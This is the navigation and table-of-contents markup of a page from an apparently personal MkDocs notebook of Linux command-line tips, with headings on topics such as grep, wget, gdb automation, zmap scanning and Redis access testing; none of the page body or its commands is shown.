<form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          Linux-cli\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        Linux-cli\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    查看内置命令的帮助\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#grep\" class=\"md-nav__link\">\n    grep搜索帮助文档\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#grepstderrstdout\" class=\"md-nav__link\">\n    帮助文本的grep，把stderr重定向到stdout\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    各种解压命令\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    当前目录文件全文搜索\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    统计当前文件夹代码行数\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    查看给定文件列表的文件大小\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#wget\" class=\"md-nav__link\">\n    wget慢慢下载\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#touch\" class=\"md-nav__link\">\n    touch修改时间戳\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ubuntuls\" class=\"md-nav__link\">\n    去掉Ubuntu默认情况下ls的颜色\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    换行方式修改\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#iodine-dns\" class=\"md-nav__link\">\n    iodine--使用DNS传输数据\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"iodine--使用DNS传输数据\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#1\" class=\"md-nav__link\">\n    1. 设置域名解析\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#2\" class=\"md-nav__link\">\n    2. 服务器端\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#3\" class=\"md-nav__link\">\n    3.检查服务端是否正常\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#4\" class=\"md-nav__link\">\n    4.客户端\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#windows\" class=\"md-nav__link\">\n    远程控制Windows\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    统计以特定字符串开头的文件数目\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#hexdump\" class=\"md-nav__link\">\n    hexdump查看字符内部编码\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_8\" class=\"md-nav__link\">\n    子目录大小排序\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ffmpeg\" class=\"md-nav__link\">\n    安装ffmpeg\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#set-ex\" class=\"md-nav__link\">\n    保证脚本安全执行set -ex\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#change-readonly-bash-variable\" class=\"md-nav__link\">\n    change readonly bash variable\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#sleep-infinity\" class=\"md-nav__link\">\n    永久等待 sleep infinity\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#zmap\" class=\"md-nav__link\">\n    zmap扫描整个网段特定开放端口\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ipredis\" class=\"md-nav__link\">\n    对ip列表批量测试redis未授权漏洞\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#imagemagick\" class=\"md-nav__link\">\n    使用ImageMagick对图像进行裁剪\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#0\" class=\"md-nav__link\">\n    查找0字节的文件并删除\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_9\" class=\"md-nav__link\">\n    批量修改文件后缀名\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#vimr\" class=\"md-nav__link\">\n    用vim去除\\r换行符\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#free\" class=\"md-nav__link\">\n    不用free查看内存占用\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#watch\" class=\"md-nav__link\">\n    watch持续观察命令输出\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#2truecrypt-71amake-j5-l4\" class=\"md-nav__link\">\n    树莓派2上编译Truecrypt 7.1a，使用make -j5 -l4加速编译\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#scp\" class=\"md-nav__link\">\n    scp目录断点续传\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#wgetscp\" class=\"md-nav__link\">\n    使用wget代替scp传输文件夹 避免无谓的加密性能损失（适用于树莓派）\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"使用wget代替scp传输文件夹 避免无谓的加密性能损失（适用于树莓派）\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_10\" class=\"md-nav__link\">\n    服务端（数据传出端）\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#wget_1\" class=\"md-nav__link\">\n    客户端（数据传入端），使用wget：\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#sshd\" class=\"md-nav__link\">\n    清除已经断开的sshd进程\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_11\" class=\"md-nav__link\">\n    批量替换文本\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_12\" class=\"md-nav__link\">\n    找到最近修改的文件\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#cryptsetuptruecrypt\" class=\"md-nav__link\">\n    使用cryptsetup挂载truecrypt分区\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_13\" class=\"md-nav__link\">\n    从二进制文件中提取片段\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#redis\" class=\"md-nav__link\">\n    redis匹配前缀删除大量键值\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_14\" class=\"md-nav__link\">\n    批量替换子目录特定后缀名文件内容\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#coredump-in-fuzzing\" class=\"md-nav__link\">\n    coredump in fuzzing\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"coredump in fuzzing\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#core_pattern\" class=\"md-nav__link\">\n    core_pattern是啥\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#coredump\" class=\"md-nav__link\">\n    怎么才能不产生coredump\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bash\" class=\"md-nav__link\">\n    bash对文件乱序遍历\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#grep_1\" class=\"md-nav__link\">\n    grep查找中文\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#grep_2\" class=\"md-nav__link\">\n    grep正则提取特定内容\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#kill\" class=\"md-nav__link\">\n    自动kill大内存的进程\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#screen\" class=\"md-nav__link\">\n    screen自动操作以及获取当前屏幕内容\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#c\" class=\"md-nav__link\">\n    编译当前文件夹所有.c文件\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#gdb\" class=\"md-nav__link\">\n    gdb自动化\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#mktorrenttorrent\" class=\"md-nav__link\">\n    mktorrent制作种子torrent文件\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#m3u8mp4\" class=\"md-nav__link\">\n    钉钉直播回放下载 m3u8转mp4\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ls\" class=\"md-nav__link\">\n    黑色背景ls 目录深绿色看不清改个颜色\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#seafile\" class=\"md-nav__link\">\n    部署seafile客户端\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pcregrep\" class=\"md-nav__link\">\n    pcregrep正则提取\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_15\" class=\"md-nav__link\">\n    管道关闭缓冲\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_16\" class=\"md-nav__link\">\n    等待特定进程结束\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" 